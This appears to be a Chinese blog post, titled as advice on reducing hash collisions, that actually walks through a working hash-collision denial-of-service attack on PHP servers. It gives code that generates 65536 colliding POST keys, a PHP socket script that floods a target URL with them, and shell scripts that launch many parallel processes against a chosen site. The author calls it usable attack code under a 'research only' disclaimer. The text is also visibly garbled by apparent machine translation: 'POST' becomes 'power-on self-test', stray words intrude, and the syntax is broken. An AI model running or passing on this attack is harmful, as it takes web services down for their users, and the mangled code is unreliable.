首页 > 编程知识 正文

如何减少hash碰撞,hash函数碰撞问题

时间:2023-05-03 20:56:17 阅读:9492 作者:4896

网上还有很多说明,这里不介绍。

下面是一个简单的碰撞示例

步骤1 :生成包含我们要使用的参数(即碰撞的hashkey堆)的文件

代码(data.php ) :

$arr=array (;

$ t=pow (2,16 );

file_put_contents('f.log ','');

for($I=0; $i65536; $i )

{

file_put_contents('f.log ','.$i*$t.'=0',FILE_APPEND );

}

步骤2 :构建PHP代码并发送开机自检请求

以下是发送开机自检请求的PHP代码(dos.php )

$allurl=$argv[1];

$arr=split('/',$allurl );

$srv_ip=$arr[0]; //您的目标服务地址

$srv_port=80;

$URL=str_replace($SRV_IP、'、$allurl ); //收到您开机自检URL的具体地址

$fp=' ';

$resp_str=' ';

$errno=0;

$errstr=' ';

$timeout=100000000000;

$ post _ str=file _ get _ contents (f.log );

//$ post _ str=' username=demostr=AAAA '; //要提交的内容。

//echo $post_str;

//echo $url_str;

if ($srv_ip=='' || $url==' ' ) {

国际货币基金组织(echo )

();

}

//echo($SRV_IP );

$FP=fsockopen($SRV_IP、$srv_port、$errno、$errstr、$timeout );

if (! $FP({

ECho (Fp故障);

}

$ content _ length=strlen ($ post _ str;

$ post _ header=' post $ URL http/1.1rn ';

$ post _ header.=' content-type :应用程序/x-www-form-urlencodedrn ';

$ post _ header.=' user-agent : msiern ';

$ post _ header.=' host : '.$ SRV _ IP.'rn ';

$ post _ header.=' content-length : '.$ content _ length.'rn ';

$ post _ header.=' connection : closernrn ';

$ post _ header.=$ post _ str.'rnn ';

fwrite($FP,$post_header );

while (! feof($FP ) }

$resp_str.=fgets($FP,512 ); //返回值放在$resp_str中

}

fclose($fp;

echo($resp_str; //处理返回值。

//unset($resp_str;

很简单。 创建请求。 但是,post的参数来自一个文件。 也就是说,在上一步处理的f.log中,post将传递给服务

步骤3 :在命令行上运行dos.php

简单地制作t.sh的话,内容就会变成一行代码。 php -f dos.php $1是运行上面post数据的php代码

是不是有什么缺点,多进程!

第四步:多过程模拟

为了模拟多进程的情况,我们采用了在shell后台运行的方法。

再编写一个dos.sh脚本来模拟多进程。 代码如下。

for () I=1; I

德奥

sh t.sh $1

done;

进程数和攻击地址从命令行传递

使用方法

sh dos.shwww.xxxx.com/index.PHP 100

第一个参数是网址,第二个参数是要打开的进程数

到此结束。 基本上是最简单的攻击代码,但确实可以使用

本文仅用于技术研究,用于其他用途,结果自负。

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。